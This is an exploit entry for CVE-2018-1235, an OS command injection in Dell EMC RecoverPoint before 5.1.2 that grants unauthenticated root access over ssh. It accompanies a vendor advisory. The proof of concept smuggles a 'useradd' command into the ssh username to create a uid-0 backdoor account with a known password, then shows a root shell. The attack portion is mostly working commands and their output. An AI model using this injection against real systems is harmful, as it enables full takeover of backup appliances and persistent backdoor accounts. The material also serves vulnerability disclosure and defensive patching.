Dell EMC RecoverPoint Remote Root

`# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution  
# Date: 2018-06-21  
# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3  
# Exploit Author: Paul Taylor  
# Vendor Advisory: DSA-2018-095  
# Vendor KB: https://support.emc.com/kb/521234  
# Github: https://github.com/bao7uo/dell-emc_recoverpoint  
# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities  
# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2  
# CVE: CVE-2018-1235  
  
# 1. Description  
# An OS command injection vulnerability exists in the mechanism which processes usernames   
# which are presented for authentication, allowing unauthenticated root access via   
# the ssh service.  
  
# 2. Proof of Concept  
# Inject into ssh username.  
# N.B. combined length of new username+password is limited to 21 due to injection length limitations  
  
$ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3  
Password: ^C  
$ ssh [email protected]  
Password: Secret123  
Could not chdir to home directory /home/bao7uo: No such file or directory  
root@recoverpoint:/# id  
uid=0(root) gid=0(root) groups=0(root)  
root@recoverpoint:/#  
  
  
`